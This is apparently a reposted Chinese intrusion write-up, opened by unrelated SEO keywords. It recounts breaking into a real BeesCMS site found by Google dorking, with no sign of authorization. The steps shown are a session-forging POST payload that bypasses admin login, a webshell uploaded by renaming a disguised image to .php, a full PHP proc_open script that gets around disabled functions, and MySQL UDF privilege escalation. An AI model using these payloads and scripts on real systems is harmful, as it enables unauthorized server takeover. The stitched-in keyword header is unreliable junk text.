电脑系统做的好的几个网站,网站好坏的指标,购物网站建设包括哪些,互联网营销设计摘要#xff1a;这是一次挖掘cms通用漏洞时发现的网站#xff0c;技术含量虽然不是很高#xff0c;但是也拿出来和大家分享一下吧#xff0c;希望能给一部分人带来收获。0x01 进入后台在通过googlehack语法挖掘beescms时发现了这个站点利用网上的payload#xff0c;在/mx_… 摘要这是一次挖掘cms通用漏洞时发现的网站技术含量虽然不是很高但是也拿出来和大家分享一下吧希望能给一部分人带来收获。0x01 进入后台在通过googlehack语法挖掘beescms时发现了这个站点利用网上的payload在/mx_form/mx_form.php?id12页面使用hackbarPOST以下数据_SESSION[login_in]1_SESSION[admin]1_SESSION[login_time]100000000000000000000000000000000000然后访问/admin便可以直接进入后台0x02 拿shell进入后台后在‘添加产品模块’处寻找到了上传点尝试上马但提示‘上传图片格式不正确’于是上传图片马抓包在repeater里更改后缀为php然后go根据回显没有看出是否上传成功但也没说失败。经过寻找在‘上传图片管理’处找到点击图片发现解析了直接菜刀连接拿到shell0x03 绕过安全模式拿到shell后进入终端查看权限但却发现执行命令失败可能远程启用了安全模式经过在网上一番查找得出要找到未禁用的php执行函数。先上传了一个查看phpinfo的脚本找到已禁用的函数发现proc_open函数未被禁用于是找到如下php脚本?php $descriptorspecarray( //这个索引数组用力指定要用proc_open创建的子进程的描述符0array(pipe,r), //STDIN1array(pipe,w),//STDOUT2array(pipe,w) //STDERROR);$handleproc_open(whoami,$descriptorspec,$pipes,NULL);//$pipes中保存的是子进程创建的管道对应到 PHP 这一端的文件指针($descriptorspec指定的)if(!is_resource($handle)){die(proc_open failed);}//fwrite($pipes[0],ipconfig);print(stdout:);while($sfgets($pipes[1])){print_r($s);}print(stderr:);while($sfgets($pipes[2])){print_r($s);}fclose($pipes[0]);fclose($pipes[1]);fclose($pipes[2]);proc_close($handle);?上传后可以执行命令成功绕过安全模式0x04 提权上图可以看出只是iis权限能做的事很局限所以要想办法提权。菜刀中虽然不能执行命令但是可以查看文件于是找到了数据库配置文件发现是mysql的数据库想到udf提权于是上传udf提权脚本(附件中)登录后导出udf便可以执行命令了提权成功但是不可以添加用户也不能开3389。结语希望路过的各位大佬可以指点迷津也欢迎各位来找我交流探讨感谢阅读。参考链接PHP限制命令执行绕过https://www.cnblogs.com/R4v3n/articles/9081202.html 作者 PaperPen 来源先知社区如有侵权请联系删除
